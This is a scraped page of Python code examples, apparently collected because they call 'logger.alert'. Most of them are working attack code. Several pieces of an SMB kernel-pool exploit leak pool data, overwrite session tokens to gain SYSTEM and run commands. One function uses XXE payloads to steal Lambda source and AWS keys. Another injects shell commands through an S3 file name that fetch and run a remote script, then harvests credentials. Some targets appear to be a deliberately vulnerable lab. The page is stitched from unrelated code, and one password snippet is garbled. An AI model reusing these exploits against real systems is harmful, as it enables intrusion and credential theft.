Exemple #1
0
def leak_frag_size(conn, tid, fid):
	# this method can be used on Windows Vista/2008 and later
	# leak "Frag" pool size and determine target architecture
	info = {}
	
	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
	# From the leak info, we can determine the target architecture too.
	mid = conn.next_mid()
	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
	
	conn.send_raw(req1[:-8])
	conn.send_raw(req1[-8:]+req2)
	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
	leakData = leakData[0x10d4:]  # skip parameters and its own input
	# Detect target architecture and calculate frag pool size
	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		logger.alert('TARGET ARCHITECTURE: {}'.format(logger.BLUE('32 bit')))
		info['arch'] = 'x86'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		logger.alert('TARGET ARCHITECTURE: {}'.format(logger.BLUE('64 bit')))
		info['arch'] = 'x64'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
	else:
		logger.error('Not found Frag pool tag in leak data')
		sys.exit()
	
	logger.info('FRAG SIZE: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
	return info
Exemple #2
0
def auth() -> Tuple[str, Dict[str, str]]:
    # check if salt and/or encrypted password file are corrupt
    if not secure.salt_and_pwds_store_ok():
        logr.alert(f"""
Salt or password store appear to be corrupt. There isn't much we can do.
If you have a backup of those files, fetch it and replace both of them, if not,
please run `pwds launch`.

On your computer salt and passwords are stored here:
{config.SALT_FILE}
{config.PWDS_STORE_FILE}
""")
        sys.exit(1)

    mpwd: str
    pwds: Optional[Dict[str, str]]

    while True:
        mpwd = getpass.getpass('Master Password: '******'Master Password incorrect. Try again.')

    return mpwd, pwds
Exemple #3
0
def main():
	target = args.target
	logger.target(args.target)
	logger.alert('CONNECTING TO TARGET: {}'.format(logger.ORANGE(args.target)))

	if args.pipe:
		pipe_name = args.pipe
		logger.action('SKIPPING PIPE DISCOVERY')
		logger.alert('USING SPECIFIED PIPE: {}'.format(logger.ORANGE(args.pipe)))
	else:
		pipe_name = None	

	try:
		exploit(target, pipe_name)
		logger.success('FINISHED!')
	except:
		logger.error('COULD NOT CONNECT TO {}'.format(target))	
def _submit_job(job: Job, job_config: JobConfiguration, mapper: object):
    """
    Submits a job to the Batch service via the Batch Extensions client.
    """
    try:
        job_exists = batchapi.does_job_exist(job_config.batch_client,
                                             job.job_id)
        if job_exists == True:
            logger.alert("job already exists with id: {}, skipping.".format(
                job.job_id))
            return

        pool_name = job_config.pool_name
        logger.debug("configuring job with identifier: '{}'".format(
            job.job_id))

        # call out to the dynamic module to map the parameters
        mapped_params = mapper.map_parameters(
            job_config.storage_acc_url, job_config.storage_client,
            copy.copy(job_config.job_parameters), job.job_id, job.container,
            job.scene_file, job.priority, job.start_frame, job.end_frame,
            pool_name)

        logger.debug("mapped parameters: ", mapped_params)

        # get batch extensions client to map the parameters to the job template
        job_json = job_config.extensions_client.job.expand_template(
            job_config.job_template, mapped_params)
        jobparameters = job_config.extensions_client.job.jobparameter_from_json(
            job_json)

        # submit the job
        logger.info("submitting job to batch extensions client: ", job.job_id)
        job_config.extensions_client.job.add(jobparameters)

    except BatchErrorException as bex:
        logger.error("caught batch exception while submitting job: ",
                     job.job_id)
        exception_utils.print_batch_exception(bex)

    except Exception as ex:
        logger.error(
            "caught generic exception while submitting job: '{}'. with error:".
            format(job.job_id), ex)
Exemple #5
0
def xploit_xxe():
    xxe_ok_request = '<?xml version="1.0"?><movie>Harry Potter</movie>'
    xxe_steal_source = '<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY test SYSTEM "/var/task/handler.py">]><movie>&test;</movie>'
    xxe_steal_env = '<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY test SYSTEM ".env">]><movie>&test;</movie>'
    xxe_endpoint_err = "Could not find movies with:"
    aws_output_file = utils.LOCAL_FOLDER + ".awsoutput"
    aws_cli_err = "An error occurred (AccessDenied) when calling the ListUsers operation: User: movies-db-user is not authorized to perform: {}:{}"

    profile = utils.getProfile()
    if "endpoint" in profile and profile["endpoint"] is not None:
        endpoint = profile["endpoint"]
    else:
        endpoint = logger.input("Please insert the XXE-vulnerable Lambda's endpoint > ")
        profile["endpoint"] = endpoint
        utils.updateProfile(profile)
        with open(utils.LOCAL_FOLDER + ".endpoint", "w+") as f:
            f.write(endpoint)

    logger.info("Using endpoint: " + endpoint)
    header = {'content-type': 'application/xml'}
    response = utils.ApiCall(endpoint, "POST", xxe_ok_request, header)
    try:
        res = json.loads(response)
    except:
        res = response

    if "status" in res and res["status"] == "ok":
        logger.alert("Got answer from endpoint. Trying exploits...")
        logger.info("[!] Trying to steal source code")
        data = xxe_steal_source
        response = utils.ApiCall(endpoint, "POST", data, header)
        try:
            res = json.loads(response)
        except:
            res = response

        if "status" in res and res["status"] == "err" and "result" in res and res["result"].find(xxe_endpoint_err) > -1 and res["result"].find("import") > -1:
            logger.alert("Lambda source code obtained! Parsing code...")
            for i in range(0, 5):
                sys.stdout.write(".")
                time.sleep(0.5)
                sys.stdout.flush()
            logger.info(". [!] Additional file(s) identified. Trying to steal.")
            data= xxe_steal_env
            response = utils.ApiCall(endpoint, "POST", data, header)
            try:
                res = json.loads(response)
            except:
                res = response
            if "status" in res and res["status"] == "err" and "result" in res and res["result"].find(xxe_endpoint_err) > -1 and res["result"].find("aws_access_key_id") > -1:
                logger.pwned()
                raw_keys = res["result"].replace(xxe_endpoint_err, "").rstrip()
                keys = json.loads(raw_keys)
                logger.alert("[!] AWS keys obtained! Trying to access other resources...")
                os.environ["AWS_ACCESS_KEY_ID"] = keys['aws_access_key_id']
                os.environ["AWS_SECRET_ACCESS_KEY"] = keys["aws_secret_access_key"]

                logger.info("[X] Trying IAM")
                service = "iam"
                action = "list-roles"
                cmd = ""
                utils.run_aws_cmd(service, action, cmd)

                logger.info("[X] Trying DynamoDB")
                service = "dynamodb"
                action = "list-tables"
                cmd = ""
                utils.run_aws_cmd(service, action, cmd)

                logger.info("[X] Trying S3")
                service = "s3"
                action = "ls"
                cmd = ""
                utils.run_aws_cmd(service, action, cmd)
                if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0:
                    with open(aws_output_file, "r") as f:
                        output = f.readlines()
                        list_buckets = []
                    for line in output:
                        logger.alert(line.rstrip())
                        list_buckets.append(line[20:].rstrip())

                logger.info("[X] Trying to access buckets(s)")
                service = "s3api"
                action = "list-objects-v2"
                for bucket in list_buckets:
                    cmd = "--bucket {}".format(bucket)
                    utils.run_aws_cmd(service, action, cmd)
                    if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0:
                        with open(aws_output_file, "r") as f:
                            logger.info(f.read())
                raw_input()
        else:
            logger.error("XXE exploit did not work!")
    else:
        logger.error("Invalid response. Please check endpoint and try again.")

    raw_input()
    return
Exemple #6
0
def xploit_injection():
    profile = utils.getProfile()
    aws_output_file = utils.LOCAL_FOLDER + ".awsoutput"
    if "account" in profile and profile["account"] is not None:
        account = profile["account"]
    else:
        account = logger.input("Please insert the AWS Account ID on which DVSA is installed > ")
        profile["account"] = account
        utils.updateProfile(profile)
        with open(utils.LOCAL_FOLDER + ".account", "w+") as f:
            f.write(account)

    logger.debug("generating random url")
    rand = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    url = "https://cl1p.net/dvsa-s3-attack-" + str(rand)
    logger.debug(url)
    logger.debug("getting page hash")
    pageHash = utils.ApiCall(url, "GET", None, None)
    if pageHash.find("pageHash") == -1:
        pageHash = utils.ApiCall(url, "GET", None, None)

    pgh = pageHash.split("pageHash")[1][9:73]
    sqh = pageHash.split("seqHash")[1][9:73]
    logger.debug(pgh)
    logger.debug(sqh)
    logger.info("creating malicious files name")
    fname = "_;cd ..;cd ..;cd tmp;echo {}>r;echo {}>p;echo {}>s;curl xza.s3-website-us-east-1.amazonaws.com>x;sh x;ls x.raw".format(rand, pgh, sqh)
    logger.debug(fname)
    logger.info("uploading malicious file to s3 bucket")

    bucket = "dvsa-receipts-bucket-{}".format(account)
    if profile["proxy"] is not None:
        proxy = {'http': profile["proxy"], 'https': profile["proxy"]}
    else:
        proxy = {}

    s3 = boto3.client('s3', config=Config(proxies=proxy), verify=False)

    s3.upload_file('/dev/null', bucket, '2020/20/20/{}'.format(fname), ExtraArgs={'ACL': 'public-read'})

    logger.info("Malicious file was uploaded successfully.")
    logger.debug("Uploaded to bucket: " + bucket + ", path: 2020/20/20/")
    logger.info("Waiting for remote account to execute the malicious payload ")
    for i in range(5):
        sys.stdout.write('.')
        sys.stdout.flush()
        time.sleep(1)
    print("\n")

    logger.info("fetching keys from: {}  (link will no longer be accessible)".format(url))
    res = utils.ApiCall(url, "GET", None, None)
    locs = res.find('<textarea name="content">')
    if locs == -1:
        logger.error("something went wrong.")
        sys.exit(3)
    else:
        loce = res.find('</textarea>')
        content = res[locs + 25:loce]

    rawkeys = base64.b64decode(content)
    logger.pwned()
    logger.alert(rawkeys)
    if rawkeys.find("AWS_SESSION_TOKEN") != -1 and rawkeys.find("AWS_ACCESS_KEY_ID") != -1:
        for line in rawkeys.split('\n'):
            if line.upper().startswith("AWS_SESSION_TOKEN="):
                os.environ["AWS_SESSION_TOKEN"] = line[18:].rstrip()
            elif line.upper().startswith("AWS_ACCESS_KEY_ID="):
                os.environ["AWS_ACCESS_KEY_ID"] = line[18:].rstrip()
            elif line.upper().startswith("AWS_SECRET_ACCESS_KEY="):
                os.environ["AWS_SECRET_ACCESS_KEY"] = line[22:].rstrip()
            else:
                pass

        logger.pwned()
        logger.alert("Got remote lambda keys! Trying access to other resource...")

        logger.info("[X] Who am I? (caller-identity)")
        service = "sts"
        action = "get-caller-identity"
        cmd = ""
        utils.run_aws_cmd(service, action, cmd)
        if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0:
            with open(aws_output_file, "r") as f:
                output = f.readlines()
            logger.info(''.join(output))

        for line in output:
            if line.find("Arn") > -1:
                rolename = line.rstrip().replace("|", "").split("/")[1]

        logger.info("[X] Trying IAM")
        service = "iam"
        action = "get-role"
        cmd = "--role-name {}".format(rolename)
        utils.run_aws_cmd(service, action, cmd)

        logger.info("[X] Trying DynamoDB")
        service = "dynamodb"
        action = "list-tables"
        cmd = ""
        utils.run_aws_cmd(service, action, cmd)
        if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0:
            with open(aws_output_file, "r") as f:
                output = f.readlines()
            logger.info(''.join(output))

        logger.info("[X] Trying to access table(s)")
        tables_list = []
        for line in output:
            line = line.replace("|", "").replace("+", "").replace(" ListTables ", "").replace(" TableNames ", "").replace(" ", "").rstrip()
            if len(line) > 3 and line.find("----") == -1:
                tables_list.append(line)
        action = "scan"
        for table in tables_list:
            if table.startswith("DVSA"):
                cmd = "--table {}".format(table)
                utils.run_aws_cmd(service, action, cmd, "text")
                if os.path.isfile(aws_output_file) and not os.stat(aws_output_file).st_size == 0:
                    with open(aws_output_file, "r") as f:
                        logger.info(f.read())

        raw_input()
        return True
    else:
        logger.error("Sorry, could not obtain keys.")
        logger.pressAnyKey()
        raw_input()
        return False
Exemple #7
0
def exploit(target, pipe_name):

	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}

	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
	logger.action('GETTING TARGET OPERATING SYSTEM...')
	server_os = conn.get_server_os()
	logger.alert('TARGET OS: {}'.format(logger.BLUE(server_os)))

	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		logger.error('EXPLOIT DOES NOT SUPPORT THIS TARGET...')
		sys.exit()
	
	if pipe_name is None:
		logger.action('GETTING PIPE...')
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			logger.error('COULD NOT FIND NAMED PIPE...')
			return False
		logger.success('USING PIPE: {}'.format(pipe_name))

	if not info['method'](conn, pipe_name, info):
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	logger.action('CREATING SYSTEM SESSION TO SMB...')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		logger.info('CURRENT TOKEN ADDR: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		# parse necessary data out of token
		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

		logger.action('OVERWRITING TOKEN UserAndGroups')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		logger.action('OVERWRITING SESSION SECURITY CONTEXT')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	# try:
	smb_pwn(conn, info['arch'])
	# except:
	# 	pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Exemple #8
0
def smb_pwn(conn, arch):
	smbConn = conn.get_smbconnection()
	logger.alert("Writing command to service: {}".format(logger.YELLOW(args.command)))
	service_exec(conn, args.command)